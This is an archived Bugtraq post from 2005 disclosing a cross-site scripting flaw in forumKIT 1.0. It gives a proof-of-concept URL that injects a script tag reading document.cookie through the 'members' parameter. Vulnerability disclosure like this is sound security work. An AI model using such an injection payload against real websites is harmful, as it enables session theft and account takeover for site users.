[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
XSS Vulnerability in ForumKIT
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: XSS Vulnerability in ForumKIT
- From: tom cruise <the.n3t@xxxxxxxxx>
- Date: 13 Jan 2005 11:17:00 -0000
Vulnerable System :
forumKIT 1.0
Description :
an XSS is founded in the variable members that have the value 'true'
you can exchange it with XSS Code .
exploit :
http://forum.target.com/f.aspx?members=";><script>alert(document.cookie);</script>
this exploit is discovered by : neO
e-mail : al_modamer@xxxxxxxxxxx